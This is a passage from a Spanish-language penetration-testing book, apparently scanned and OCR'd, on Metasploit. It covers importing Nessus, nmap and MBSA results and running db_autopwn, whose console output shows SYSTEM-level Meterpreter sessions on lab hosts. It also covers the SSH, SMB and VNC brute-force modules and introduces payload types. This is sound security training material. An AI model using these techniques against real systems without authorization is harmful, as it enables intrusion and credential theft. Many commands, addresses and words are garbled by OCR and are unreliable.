Los formatos compatibles con la importacién a Metasploit se pueden visualizar a continuacion:
- Acunetix XML
- Amap Log
- Appscan XML
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- Burp Session XML

- Core Impact Pro XML

- Foundstone Network Inventory XML
- [P Address List

- Libpcap

- Microsoft MBSA SecScan XML
- nCircle IP360 (XMLv3 y ASPL)
- Metasploit PWDump Expori

- Metasploit Zip Export

- Metasploir XML

- NetSparker XML

- nessus XML y NBE (v] y v2)

- Nexpose Simple XML

- Nexpose XML Export

- Nmap XML

- Qualys Asset XML

- Qualys Scan XML

- Retina XML

Escaner nessus e importacion de datos

nessus es uno de los escdneres con mayor flexibilidad y ulilizacion en el mundo de la auditoria. Es
una herramienta de la empresa estadounidense Tenable Network Security la cual dispone de distintas
funcionalidades como son descubrimiento activo de redes, escaneo de vulnerabilidades distribuido
y politicas de auditorias. La exportacion a ficheros de estos escaneos es una funcionalidad muy
interesante para poder exportar los resultados a Metasploit. Se pueden importar ficheros de tipo
NBE y XML creados con la herramienta, los cuales seran importados con el comando db_import,
previa conexion de la base de datos.

Por otro Jado, el framework dispone de un plugin el cual permite utilizar la herramienta nessus en el
entorno de msfeonsole e incluir los resultados directamente en la base de datos de Metasploif para
ser explotados en la siguiente fase del test de intrusion. Este plugin es cargado mediante la ejecucion
de la instruccion load nessus en una sesion de msfconsole.

root@root: /opt/nessus/hing ./nessus-fetch --register #9est - - g - Miae- 536Q
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...

Fig 2.11: Activacion de nessus.
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Para usar nessus se debe disponer de ta herramienta registrada, obteniendo un cddigo de activacion en
la siguiente URL htip.//www nessus.org/producis/nessus/nessus-plugins/oblain-an-activation-code.
Tras obtener el email con el codigo de activacion se deben seguir {as instrucciones que acompaiian al
corteo electrénico para levar a cabo el proceso de registro. Tras la activacién se recomienda afadir
un usuario mediante el uso del comando nessus-adduser que se encuentra en la ruta Jopt/nessus/shin
o accediendo mediante un navegador a la direccion hitps:/localhost: 8834,

3

Imsf > load nessus

[*] Nessus Bridge for Metasploit 1.1

'+1 Type nessus_help for a command listing

{‘I Creating Exploit Search Index - {/root/.msf3/nessus_index) - this wont take
ong. .

[#] It has taken : 9.8086876368999999 seconds to build the exploits search index
{*} Successfully loaded plugin: nessus

Insf > nessus_connect localhost

/i Username:

Ims £

i} Password:

123abc.

[*] Connecting to https://localhost:8834/ as msf

{+] Authenticated

hsi >

Fig 2.12: Cargar plugin nessus en Mefasploit.

Estos son los comandos mds interesantes disponibles con el plugin de nessus en Metasploit.

Comando . Descripeidon

nessus_connect Realiza la conexion con el servidor de nessus

nessus_policy_list Muestra las politicas de auditoria que se ericuentran creadas

Permite realizar un nuevo escaneo de vulnerabilidades. Ejemplo:
nessus_scan_new <identificador de politica> <nombre del reporie>
<direccion IP>

nessus_scan_new

nessus_scan_status Mueslra el estado del proceso

nessus_scan_sfop Para un escaneo en concreto que actualmente esté siendo ¢jecutado

nessus_scan_stop_all | Para todos los escaneos que se encuentran en gjecucion

nessus_report_list Lista los reportes disponibles, ttil para obtener los identificadores

Muestra informacion sobre un reporte en concreto. Ejemplotnessus

nessus report_get . .
eport g report_get <identificador>

Muestra posibles exploits que pueden ser lanzados sobre la médquina

nessus_report_exploits remot
- - mota

Los comandos nessus_report hosts, nessus_repori_hosi_deiail,
nessus_report_host* nessus_report_host_ports proporcionan informacién detallada al

auditor sobre las maquinas, puertos, protocolos, etcélera

Tabla 2.04: Comandos del plugin de nessus.
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msf > nessus_policy List
fvi Nessus Policy List

ID Name Comments
-4 Web App Tests

-3 Prepare for PCI-DSS awdits {section 11.2.2}

-2 External Network Scan

-1 Internal Network Scan

=

st > nessus_scan new -1 msf_prueba 192.168.11.188
[7] Creating scan from policy number -1, called *msf ~_prueba” and scanning 192,14
8.11.108

{*) Scan started. uid is 662ecbbd-217c-2fa6-10a6-b31ddd90s1192156613e912215%d
|;|__f

Tfig 2.13: Consulta de politicas y lanzamiento del cscéner,

Una vez conectado con el servidor de nessus, se ha autenticado y se ha lanzado el esciner sobre un
objetivo, se puede almacenar la informacion en una base de datos como se vio en el punto dc imap.

msf > db_driver
1*) Active briver: postgresql
*] Available: postgresql, mysgl

msf > db_connect postgres:123abc.@127.0.86. 1/nessus_db

NOTICE: ~CREATE TABLE will create Implicit sequence "hosts_id_seq" for serial co
Lumn “hosts. id”

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index “hests_pkey® for
table “hosts”

NOTICE: CREATE TABLE will create implicit sequence "clients_id_seq" for serial
column "clients, id"

Fig 2.14: Creacion de base de datos para almacenar informacion de nessus.

Tras lanzar el escaneo sobre ef objetivo se puede recoger el reporte y mediante el uso del identificador
que dispone éste realizar distintas acciones, como pueden ser listar posibles vulnerabilidades
encontradas en fas maquinas remotas, obtener informacion sobre puertos abiertos, protocolos
utilizados en dichas maquinas, obtener gran detalle sobre el sistema operativo de las indquinas
remotas y versiones de los servicios, ver que exploifs estan disponibles para ser ianzados, etcétera.

[msY > NeSsUS_report. T1st
i) Hessus Repmt List

iy Name Status Data

[*} You can:

1+ Get a list of hosts from the report: nessus_repurt_hosts <report id>

msi > nessus_report_get 682ecbbd-217c-2fa6-168a6-b31ddd9eal1921566¢3e9122159d

4] lmportmg 602echbd-217¢-2fa6-10a6-b31ddd90a11921566F3e9122159d

1*] 192.168.11.188 Hicrosoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 &
RIS

i1 Done

msf > nessus_report_exploits 682echbd-217c-2fa6-18a6-b31ddd96a1192156613e9122159d

[+] Examining 602echbd-217¢c-2fa6- 10a6- b31ddd90a1192156613e9122159d

[«] Experimental, trust but verify

192.166.11.168 | Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3] 44
S | NS5-26920 | Sev 2 | ("windous/httpredirectory_host"}

192,168.11,108 | Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 | 44
3 | N55-18394 | Sev ) | ["windows/smb/psexec”}

192.168.11.188 | Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 |8
| 485-18114 | Sev 1 | ["windows/oracle/tns_arguments®}

nsf >

Fig 2.15: Gestion de reportes.
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Existen mds comandos del plugin de nessus, los cuales proporcionan conﬁguraéi()n bésica y,
avanzada del servidor de la herramienta, y todo ello desde el entorno de Metasploit. Estos comandos
pueden ser Utiles para gestionar y configurar el escaner correctamente, pero este proceso escapa def
los objetivos del presente libro.

Escianer MBSA e importacion de datos '
Microsoft Baselinc Security Analyzer, o MBSA, es una herramienta que permite a los profesionales
Tl y auditores determinar el estado de seguridad segiin las recomendaciones de Microsoft. Con
esta herramienta se pueden detectar los errores mas comunes de configuracion en la seguridad de
los sistemas operativos de Microsofi y la falta de actualizaciones en el sistema operativo que se
encuentran por instalar, siempre hablando de productos de la compaiiia de Redmond. L

Iste escaner dispone de una interfaz grafica y de un cliente de linea de comandos. Bl cliente de linea
Je comandos es mas versatil y proporciona un mayor nimero de funcionalidades al auditor, Una de -
as mas interesantes es la posibilidad de exportar a un fichero XML la informacion recogida por e}
escaner. ;
Este documento puede ser importado a la”base de datos de Metasploit directamente a través del
comando db_import, previa conexion del framework a la base de datos. Una vez el fichero es
importado a Ia base de datos se puede acceder a dicha miox macién a través de los comandos de tipo
db_* que se han estudiado en este capitulo.

i
La conclusion final que debe quedar al auditor es la facilidad para importar los resultados de otros
escineres a Meiasploit y el tratamiento de dicha informacion, gracias a la flexibilidad del framework, 1

para avanzar en ¢l test de intrusion.

Técnica Autopwn

La funcionalidad autopwn permite al auditor automatizar el proceso del test de intrusion. El auditor
realizard un andlisis o escaneo sobre una red y en funcién de los resultados, aufopwn, lanzard una
serie de exploits que pueden provocar la obtencién de acceso remoto al sistema vulnerable, 1

Autopwn se apoya en una base de datos, la cual en este capitulo se ha visto como crear y como
conectar con ella, para recoger la informacion que utilizar para lanzar una cantidad de exploits con
el objetivo de aprovechar alguna vulnerabilidad conocida sobre los servicios que pueden disponer
las médquinas remotas. Si aufopwn explota alguna vulnerabilidad puede devolver el control de la
maquina remota, por ejemplo, proporcionando una sesién de meferpreter o una shell remota,

El potencial que proporciona esta funcionalidad es enorme ya que se pueden utilizar la informacién
recogida con distintos escaneres, por ejemplo nessus o nmap, utilizando la importacién mediante
archivos o incluso la integracion de la herramienta con el framework autométicamente, Una vez
clegida la manera de trabajar, auiopwn realizaré el resto.
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El comando para interactuar con la funcionalidad es db_autopwn. Hay que tener en cuenta que en
algunas versiones de Metasploit, se esta deshabilitando esta funcionalidad, por lo que se recomienda
al auditor que tenga cuidado al actualizar el framework, si no quiere perder dicha funcionalidad. Este
comando dispone de los siguientes pardmetros que aportan distintos comportamientos:.

Pardametro Descripeidn y cjemplo

-l Muestra todos los modulos de tipo exploir que se estan fanzando

X Autopwn selecciona los médulos de tipo exploit en funcién de las posibles
vulnerabilidades encontradas
Autopwn selecciona los médulos de lipo exploit en funcién de los puertos y

P servicios abiertos '

-¢ Lanza exploits contra los objelivos marcados

-t Utiliza una shell inversa cuando se consigue acceso

-b Utiliza una shell directa con un puerto aleatorio por defecto

-q Deshabilita la salida de los médulos de tipo exploit

R <rank> Sélo lanza los médulos que dispongan de un rank minimo. Se debe especificar el

rank, por ejemplo excellent

Sélo se lanzardn los exploits sobre los equipos que se encuentren en el rango. Se

-l <range> . . .
£ debe especificar el rango después del pardmetro

Excluye los equipos que se encuentren en el rango de ser probados mediante el

-X <range> . h
€ lanzamiento de exploiis

Sélo lanza los exploits sobre las méquinas que dispongan de los puertos abiertos

-Pl <range> .
que se especifica en el rango

Se excluyen los equipos con los puertos abiertos que se indican en el rango, por

-PX <range> . . .
s lo que no seran probados mediante exploils

Tabla 2.05: Parametros de db_aulopwn.

PoC: nmap + Autopwn

En la siguiente prueba de concepto se va a realizar una conexion a una base de datos local con
Metasploit, después se utilizara la inlegracion de mmap con el Sframework para realizar un
descubrimiento de méaquinas sobre una red, obteniendo entre otros valores los puertos abiertos
de dichas maquinas. Por Gltimo, se lanzar4 la funcionalidad autopwn con el objetivo de probar la
fortaleza y seguridad de los equipos de esa red, la cual es objeto de estudio.

En primer lugar, tras lanzar msfconsole, se conecta el framework a la base de datos y se lanza un
nmap sobre la red de estudio. La informacién de nmap queda almacenada en la base de datos, la cual
puede ser recuperada en cualquier instante, por si fuera necesario. Las opciones con las que nmap
sea lanzado queda en manos de la imaginacion, necesidad y creatividad del auditor.
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%> db_connect postgres:i23abc.@127.6.8.1/test_Libro
f > db_nmap -sS 16.0.0.0/24

{*] Nmap: Starting Nmap 5.51SVN { hitp://nmap.org ) at 2012-86-13 05:35 CEST)
[*} Nmap: Nmap scan report for 16.0.6.1

[#] Nmap: Host is up (8.8068034s latency]).

[#] Nmap: Not shown: 999 closed ports

[*] Nmap: PORT STATE SERVICE

{#] Nmap: 111/tcp open rpcbind

{#] Nmap: Mmap scan report for 10.6.8.189

[*] Nmap: Host is up (8.8812s latency).

[#1 Nmap: Not shown: 997 closed ports

f*] Nman: PORT STATE SERVICE

{#] Nmap: 135/tcp open msrpc

f+] Hmap: 139/tcp open netbios-ssn

[*} Nmap: 445/tcp open microsofi-ds

[«] Nmap: WAC Address: 08:80:27:A4:A9:3D (Cadmus Computer Systems)

{#*] Nmap: Nmap scan report for 10.6.¢.118

[*] Nmap: Host is up (6.811s latency).

{*] Mmap: Mot shown: 997 closed ports

{*] Nmap: PORT STATE SERVICE

[*] Nmap: 135/tcp open msrpc

{*] Nmap: 139/tcp open netbios-ssn

{*] Nmap: 445/tcp open microsoft-ds

[*] Mmap: MAC Address: 08:80:27:E9:43:A5 {Cadmus Computer Systems)

[+] Nmap: Mmap done: 256 IF addresses (3 hosts up) scanned in 31.34 seconds

Fig 2.16: Conexitn a la base de datos y escanca con nniap.

Ahora se dispone de lo necesario para lanzar aufopwn sobre los equipos que se requiera. Hay que
tener en cuenta qué se necesita o lo que se requiere, por lo que no estd de mas disponer cerca los
pardmetros de autopwn y decidir sobre qué equipos se lanza, quizd no sea necesario lanzarlo sobre
todos los equipos que forman parte de la red, o quiza se requiera sélo sobre algunos de ellos que
disponen de ciertos servicios y no sobre todos. Por lo que de nuevo el auditor debe elegir la mejor
accion en funcion de las necesidades del test de intrusion.

msf > db_hosts

Hosts

address mac

1
.100 ©8:00:27:A4:A9:30
110 £8:80:27:E9:43:A5

msf > db_autopwn -p -t -e -r -1 16.0.6.100-10.0.0.109

Fig 2.17: Lanzamiento de aufopwn sobre un rango de equipos.

i ‘ s e de explol
Tras el lanzamiento de autopwn foca esperar hasta que la recoleccion y ejecucion die P“R
termine. Cuanto mayor sea el nimero de méaquinas mayor tiempo levara el ploceso;l i
i i i . a me
En algunos rincones de Internet se denomina, cologuialmente, a aufopwi como la mel

D wcord
Metasploit por el efecto arrasador que provoca en un test de inlrusion, Hay que recort;
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més puristas indican que el test de intrusién debe estar siempre controlado y saber que exploils se
ejecutan en cada momento, a la vez que no probar algo si no se tiene la certeza de que puede existir
una vulnerabilidad. Autopwn rompe con estas sentencias o consejos, por lo que es el lector el que
debe elegir si utilizar esta funcionalidad en el mundo profesional.

f*1 {51/51 [0 sessions]): Waiting on 24 launched modules to Tinish execution...

[*} Meterpreter session 1 opened (16.0.6.1:32123 -» 10.0.6.108:1064) At 2012-686-13 05:57:18 +920
0
b1 {81751 [1 sessions}): Waiting on 12 launched modules to finish execution. ..
tx] {51/51 [1 sessions]}): Waiting on 9 launched modules to finish execution...

[ﬁg2i8:Ohwndbndeseﬂénhwemuconunmswmﬂnhkﬁva

PoC: nessus + Autopwn

tin la siguiente prueba de concepto se va a realizar la conexién con la base de datos y sc utilizard
la herramienta nessus para escanear una red en busca de vulnerabilidades. nessus se utilizard desde
msfeonsole gracias a la integracidn de éste con el entorno como se ha podido estudiar en este capitulo.

En primer lugar, se debe conectar con la base de datos con el comando db_connect como se ha
realizado en la prueba de concepto anterior. Hay que tener en cuenta que para utilizar nessus
integrado con Metasploit se debe cargar el plugin mediante la instruccion Joad nessus en la sesion
de msfconsole. Una vez disponibles los comandos de nessus en la sesion en curso de msfeonsole se
debe conectar con el servidor del escaner mediante el uso de nessus_connect <direccion servidor>.

Se debe tener claro qué politica se utilizaré para realizar el escaneo, en este ejemplo se utilizara
una creada previamente en nessus cuyo nombre es msf_libro. Para lanzar el escaneo utilizando
esta politica se utilizara el comando nessus_scan_new <id politica> <nombre escaneo> <red o
equipe™>.

=
A
=+

> nessus_policy [ist
Nessus Policy List

10 Name Comments
-4 ¥eb App Tests

-3 Prepare for PCI-DSS audits {section 11.2.2)

‘[-2 External Network Scan

-1 Internal Network Scan

1 msf _libro

st > nessus_scan_new 1 msf red 10.0.0.9/24
*1 Creating scan from policy number 1, called “mst_red" and scanning 18.0.8.6/

*] Scan started. uid is afalb1d6-bbad-cbBF-9¢35-58¢6b50c663889ac4e087d0dee37

Fig 2.19: Listado de politicas y ejecucién de un escaneo en funcion de I politica.

El escaneo puede lievar bastante tiempo, en funcién de lo que se compruebe. Melasploif no bloquea
la sesién de msfconsole, lanza el proceso en segundo plano y en cualquier momento se puede
comprobar en qué estado se encuentra el escaneo con el comando nessus_scan_status.
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st » nessus_scan_status
y+: Running Scans

iscan 10 Name Owner  Started Status
Current Hosts Total Hosts

afa161d6-bhad- cbBT-9c35-58c6D50c663889ac4e087d0%e37 msf red msf  ©6:39 Jun 13 2612 running \
38

1*] You can:
1o, Import Nessus report to database :
i Pause a nessus scan :

nessus_report_get <reportids
nessus_scan_pause <scanids

fiig 2.20: Informacion sobre el estado del proceso lanzado desde nessus.

hora para importar los resultados del reporte a la base de datos se puede utilizar el comando
nessus_report_get <id report>. La importacion de datos puede llevar su tiempo debido a 1a cantidad
de informacion de la que se disponga en el reporte original.

msf > nessus_report Llst
f~i Nessus Report List

10 . Name Status Date

;;978143-ﬁlee-bScl-Baﬁa-935911641731b783e8c583654aﬁhc msf running 67:85 Jun 13 2012
afal61d6-bbdd- chBf-9c35-58¢Eh30c663889ac4e087009eed? msf_red completed ©6:43 Jun 13 2012
1able39f- 1bld-bafs-cecl-73cacde788b324b2033debf84d23  msf running  87:84 Jun 13 2012

682ecbhd-217¢- 21a6-1026-b31ddd90u11921566f3e9122159d  msf_prueba compleled 65:85 Jun 11 2012

[*1 You can: ] )
[+ Get a list of hasts from the report: nessus_report_hasts <report id>

msf > nessus_report_get afai6idé-bb4d-ch8f-9c35-58c6h500663889acsensTdA%ee3?

1t} importing ﬂfamldﬁ-bbdd-chf-‘JcSS-58c6b59c663889ac4§687d993e37

{#} 16.8.8,110 Hicrosoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 Dapa!
(*} 16.8.0,108 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 Dot
[*) 10,0.0.) Linux Kernel 2.6.38 on Ubunty 16.684 / .

Fig 2.21; Importacion de resultados de un reporte de néssys.

ste es un buen momento para refrescar los comandos db_hosts, db_services, db_vulns y ojear la
informacién que se dispone en la base de datos. Una vez que el auditor esté preparado para lapza_r ’
autopwn y crea que éste puede tener éxito sobre los equipos remotos, se lanzard 1a funcionalidad
contra los equipos.

[#} (159/169 {3 sessions]}: Walting on 15 launched medutes to finish execution...
I} (1697169 {3 sessions]): walting on 14 launched modules to fln!.sh execution. .
{*]} {169/169 {3 sessions)): Waiting on 14 launched modules to finish executlon..,
{*] (1697169 {3 sessions)): Waiting on 13 launched modules to finish execution...
[*1 The autopwn command has completed with 3 sessions

[*) Enter sessions -i (ID] to interact with a glven session I0

[+3
i)

Active sessiens

B ]

Id Type Information Connectian
via

2 meterpreter xB6/win32 NT AUTHORITY\SYSTEM @ PRUEBAS-81768CC 10.0.6.1:24947 -> 16.6.8.180
11085

3 nmeterpreter xB86/win32 NT AUTHORITY\SYSTEM @ PRUEBAS-81766CC 16,0.8.1:4652 -> 18.8,8,160:
1866

4 meterpreter x86/wind2 NT AUTHORXTY\SYSTEM @ PRUEBAS-81768CC 16.9.8.1:35313 -> 18.6,0.118
11855

Fig 2.22: Obtencion de sesiones con aufopwn.
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4. Escaneres dirigidos a servicios

A veces puede ser realmente interesante para el auditor centrarse en uno o varios servicios concretos
y obtener la maxima informacién de cllos que se pueda. En este apartado se van a estudiar
herramientas que se disponen en el framework que tienen por objetivo el especificado anteriormente.

El objetivo

Es realmente importante conocer las versiones de los productos y el estado de éstos. Hoy en dia
una configuracion por delecto o una mala configuracidn también pueden ser signos de posibles
problemas de seguridad graves. Es cierto que cuanla més informacion se disponga del objetivo, las
posibilidades de éxito en el test de intrusion aumentan.

Una vez que se dispone de este tipo de informacidn, que puede ser més Gtil de lo que a priori a
cualguier usuario, incluido los administradores, les pueda parecer es posible realizar la blisqueda de
exploits para las versiones de los productos localizados en el andlisis del entorno.

Google, conocido por todo usuario de Internet, es uno de los mayores buscadores de exploits al que se
puede acceder. Simplemente realizando busquedas con palabras magicas como exploit <producto>
<versidn> se pueden oblener resultados sorprendentes, consiguiendo por supuesto el exploit que se
requiere. Pero esto es una priclica que un usuario de Internet realizaria ante una bisqueda requerida
de cualquier cosa.

Otras fuentes inleresantes sobre exploits con grandes bases de datos son:

- http://www.exploit-db.com. La cual proporciona gran cantidad de informacién sobre
exploits organizados por categorfas como locales, remotos, web, etcétera. Como curiosidad
indicar que en algunos exploits se proporciona también el ejecutable de la version del
producto vulnerable. También disponen de una direccién para descargar exploits escritos por
Metasploit directamente, http:/www.exploit-db.com/author/?a=3211.

- htp:/packetsiormsecurity.org. Otra de las grandes referencias en sitios web de seguridad.
Aclualizacion diaria de exploifs con toda la informacion detallada sobre las vulnerabilidades.

- htip:ffwww.securityfocus.com. Siempre actualizada y con la informacién detaliada, un
sitio web que no puede faltar en los favoritos de nadie. Recomendable el uso de sus listas
para estar siempre informado.

Herramientas auxiliary en Metasploit

Metasploit dispone de distintos médulos de tipo auxiliary con los que se puede obtener diversa
informacién sobre servicios y miquinas remotas. En este apartado se muestran algunos ejemplos
de como obtener informacion valiosa realizando una serie de pruebas sobre los servicios remotos.

Para empezar se exponen 2 médulos que ayudardn al auditor a oblener la version de un servidor
FTP remoto. La primera herramienta o modulo que se utiliza es auxiliary/scanner/fip/fip_version.
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Su configuracién es realmc_ante sencilla, se indica el FTP remoto en la variable RHOSTS, e! puerto
por el que escucha el FTP.

auxlUlary(Tip_version] > use suxilary/scanner/Ttp/Ttp_version
ust auxiliary{ftp_version} > set RHDSTS i ¥:H

RHOSTS => TR, o5

mst auxiliary(ftp_version} > run

[+] W55 BO%.8.4¥:21 FTP Banner: ‘228 ProFTPD 1.2.8 Server (ProfFTPD Default Installation) |mmsgmsh
es]\x8d\x8a’

[+] scanned 1 of 1 hosts (160% complete)

I*] Auxiliary module execution completed

nst ouxiliary{ftp versicn) > §

Fig 2.23: Deteccion de version de un servidor FTP.

Otra herramienta que se puede ulilizar es auxiliary/scanner/fip/anonymous con la que mediante el
uso del usuario anénimo se puede detectar la version del servidor FTP.

txisien distintos modulos auxiliary para el servicio SSH. El primero que se explica permile
abtener de manera rapida la versién del servicio remoto. La ruta de esta herramienta es auxiliury/
scanner/sshissh_version y es bastante sencillo de configurar, se indica la maquina remota y se fanza
el modulo.

msI auxiliary(ssh login) > use auxiliary/scanner/ssh/ssh_version
msf auxiliary({ssh_version) > run

[+] 2% De@.4.4:22, S5H server version: SSH-2.8-OpenSSH_5.1pl Debian-5
{*] scanned 1 of 1 hosts {106% complete)

{*] Auxiliary module executien completed

nsf auxiliary(ssh_version) »

Fig 2.24: Deteccién de version de un servidor SSk. ‘

Existen otras herramientas muy interesantes para realizar fuerza bruta sobre el servicio SSH. La
primera se encuenira en la ruta auxiliary/scanner/ssh/ssh_login 'y permite realizar fuerza bruta a
cuentas de usuario que se puedan entrar en el sistema mediante autenticacion de login y password.
A este modulo se le puede configurar un diccionario de claves y una lista de usuarios e ir probando
las posibles combinaciones. Ademés, comprobard la posibilidad de autenticarse en el sistema con
clave en blanco, una mala configuracién en un servidor. La segunda herramienta se encuentra en la
ruta auxiliary/scanner/ssh/ssh y permite realizar fuerza bruta a usuarios que se autentiquen mediante
el uso de certificados. En ofras palabras, se dispone de una clave privada, obtenida de algiin modo,
posiblemente fraudulento, y se va probando con los distintos usuarios que se especifiquen.

El servicio SMB, Server Message Block, también dispone de herramientas con las que se puede
obtener informacién 0til para poder utilizarlas durante el ataque. En la ruta auxiliary/scanner/smb/
smb_version se dispone de un escaner con el que se puede detectar la version del sistema operativo
donde se encuentra el servicio SMB. Si Metasploit estuviera conectado a la base de datos, los
resultados obtenidos de estos escaneres actualizarian los valores de dicha base de datos. La prueba
se puede realizar de la siguiente manera: tras lanzar el escaner se puede realizar U2 consulta, por
ejemplo con la instruccién db_hosts —c name,os_sp,address. Se puede anexar mas columnag e
funcién de la informacién que se quiera recuperar de la base de datos.
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msf auxiliary(ssh login_pubkey] > use auxiliary/scanner/smb/smb_versjon
s { auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version) :

Name Current Setting Required Description

RHOSTS yes The target address range or CIOR identifier
SMBDomain  WORKGROUP no The Windows domain to use for authentication
SHBPass no The password for the specified username
SHBUser ne The username to authenticate as

THREADS 1 yes The number of concurrent threads

mst auxiliary{smb_version) > set RHOSTS 16.0.8.160
RHOSTS => 18.6.0.100
ms f auxiliary{swh_version) > run

{*) 10.9.0.100:445 is running Windows XP Service Pack 3 (Language: Spanish) (name:PRUEAAS-01760C
C) (domain:GRUP(l_TRABAJO)
I+ Scanned 1 of 1 hosts {100% complete)

1*) Auxiliary module execution completed

Fig 2.25: Deteccidn de version de sislema operativo y SMB.

Este tipo de escineres orientados a un servicio concreto son ms silenciosos que los escaneres que
analizan un gran nimero de servicios o recursos, por lo que si se necesita evitar un analisis magivo
y ruidosa, estas herramientas son esenciales.

En fa ruta auxiliary/scanner/smb/smb_login se encventra la aplicacién que permite realizar una
prueba de fuerza bruta sobre el protocolo SMB. Se le puede especificar un fichero con usuaring
y contrasefias, configurarle para que se comprueben los passwords en blanco, nombres de usuario
. utilizados como contrasefias, eicétera. Ademés, si Metasploit se encuentra conectado a una base
de datos este modulo registrara en ésta los login satistactorios y sobre qué maquinas ocurrieron.
Directamente, también se puede probar con usuario y contrasefia, y por contrasefia también se
entiende un hash LM y NT.

Otra herramienta para obtener informacion sobre el servicio SMB es ausiliary/scanner/smb/smb_
enmunshares, la cualpermite determinar que recursos compartidos son proporcionades por SMB en
una ¢ en un conjunto de méaquinas remotas. La herramienta auxiliary/scanner/smb/smb_emumusers
deiermina que usuarios locales existen en la mdquina remota.

Para el servicio VNC se dispone de las herramientas auxiliary/scanner/vnc/vne_login y auxiliary/
scanner/vncAme_none_auth. La primera realiza un ataque de fuerza bruta sobre un servicio YNC,
como en las anteriores herramientas se le puede pasar un fichero con usuarios, contrasefias, prueba
de contrasefias en blanco, etcétera, La segunda herramienta permite saber si un servidor VNC
permite ia autenticacién sin contrasefia. Puede parecer extrafio encontrarse con algo asi, pero una
mala configuracion, un servidor olvidado en el entorno, un fallo por parte de un administrador puede
Hlevar a esta situacion.

Existen gran cantidad de herramientas para muchos servicios, simplemente se debe buscar en la ruta
auxiliary/scanner. Herramientag para HTTP, MySQL, netbios, NFS, Oracle, Postgres, SAP, SIP,
SNMP, etcétera. Como se puede ver Metasploit proporciona gran cantidad de pequefias utilidades
para realizar una exploracién y analisis de servicios sin desplegar ruido sobre el entorno.

Capitulo 111 El arte de ia intrusion : m

Capitulo I1X
El arte de la intrusion

r
1. Ambito
Bl presente capitulo explica la fase de explotacion de vulnerabilidades mediante el uso de Metasploiy,
En esta fase el auditor, tras analizar la informacién obtenida y las posibles vulnerabilidades

cncontradas, lanzard uno o varios exploits con el objetivo de lograr acceso a un sistema informéticg
remoto o informacion a la que no tiene un acceso autorizado. q

Esta fase necesita que el auditor disponga del framework actualizado con exploits vecientes, losi
cuales pueden ser ubtenidos a través de Internet. Cuanto mayor nimero de exploifs recientes se tenga.
mas posibilidades existen de disponer de la llave que proporcione el éxito en el test de intrusion.

L {
Ademas, se debe estar informado sobre las vulnerabilidades que aparecen diariamente sobre los
sistemas, ya que csto puede ayudar a encontrar pequefios agujeros en los mismos, aunque seld
encuentren actualizados casi diariamente. '

La eleccion del payloud es algo fundamental y critico a la hora de realizar la explotacién de un ¢
sistema. El auditor debe elegir el contexto en el que se moverd, es decir, si utilizara un payioad para_
fa fase de post-explotacién, o por el contrario, le basta con conseguir una shell sobre un sistema
concreto y demostrar la vulnerabilidad del sistema. Bxiste gran variedad de funcionalidades base 4
para tos payloads, las cuales podran estudiarse en el presente capitulo.

Por ofro lado, hay que comentar que la explotacién de un sistema puede ir acompafiado de lag
interaccion de un usuario con el atacante, por ejemplo a través de una conexién a un servidor web,

o la no interaccion de la victima con el atacante. Por ejemplo un usuario no dispone de un servicio
actualizado o correctamente configurado. Es bastante l6gico, y asi se entiende que un ataque sin
interaccion de Ia victima provaca mayor temor por parte de los usuarios, pero hoy en dia es igual de
factible y temible un alaque con interaccién, ya que un usuario normal utiliza links para acceder a
mucha informacion en su dia a dia, y son aquellos /inks los que pueden llevarle a cualquier lugar de
Internet inesperado, por ejemple un servidor web que lance exploifs sobre el equipo de la victima.

»

Por (ltimo destacar, que en muchas ocasiones Ia explotacién de vulnerabilidades puede Tlegar a ser
frustrante, ya que puede parecer que no se encuenira la via de acceso para realizar la explotacidn,
¢ que incluso no existe un exploif que aproveche esa via. Se recomienda a los lectores que tengan
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paciencia, realicen un estudio y analisis de ios sistemas exhaustivo y que en muchas ocasiones el
camino més corto hacia el objetive no es el mejor, y estudiando un camino alternativo se puede
lograr mayor éxito en el test de intrusién.

Como ejemplo prictico se indica el siguienie: se debe probar la seguridad de un equipo con Windows
7,y se dispone de conectividad directa desde ef equipo del auditor, pero por mucho que se lanzan
exploits no se logra vulnerar el equipo. Tras analizar el segmento en el que se localiza el equipo
objetivo, se encuentran equipos con sistenias operativos Windows XP, los cuales se delecta que son
vulnerables.

Tras aprovechar estas vulnerabilidades son controlados remotamente, y se puede obtener informacion
valiosa de ellos, como por ejemplo, un listado de usuarios y fashes, &Y Si€s0s usuarios se encuentran
en el equipo con Windows 7? Ya se dispondria de acceso al equipo objetivo. No se ha utilizado el
camino mas corto, pero por un camino alternativo se ha obtenido el éxito en la prueba de intrusién.

2. Payloads

Los payloads son uno de los protagonistas de este libro y de los lest de intrusién. Ellos aportan el
éxito o el fracaso en muchas de las pruebas que se pueden realizar en el proceso. Son la esencia del
alaque, la semilla que se ejecuta en el interior de la maquina remota y proporcionard al atacante o
auditor el poder de controlar el sistema remoto.

Existen distintos tipos de payloads como son los singles, stagers y staged. Estos diferentes tipos
petmiten gran versatilidad y pueden ser de gran utilidad en numerosos escenarios posibles.

Los paylaod de tipo single, también conocidos como infine, son aulénomos y realizan una tarea
concreta o especifica. Por ejemplo, bind a una shell, creacién de un usuario en el sistema, ejecucion
de un comando, etcétera.

Los payload de tipo stagers se encargan de crear la conexidn entre el cliente y la victima, y
generalmente, son ulilizados para descargar payloads de tipo staged.

Los payload de tipo staged se descargan y son ejecutados por los de tipo stagers y normalmente

son utilizados para realizar tareas complejas o con gran variedad de funcionalidades, como puede -

ser, un melerprefer. En otras palabras los de tipo staged utilizan pequefios stagers para ajustarse
en pequefios espacios de memoria donde realizar la explotacién. La cantidad de memoria que se
dispone para realizar la explotacion, en la mayorfa de los casos, est4 limitada. Los stagers se colocan
en este espacio y realizan la funcion necesaria para realizar la conexion con el resto del payload, de
tipo staged.

Todos los exploits en Metasploit utilizan exploit/nulti/handler. Bste modulo es capaz de gestionar .,

y manejar cada uno de los exploits que se encuentran en el framework, sin importar la conexién o
el tipo de arquitectura. Este mddulo es4 disefiado de tal forma que sabe como tratar cada lipo de
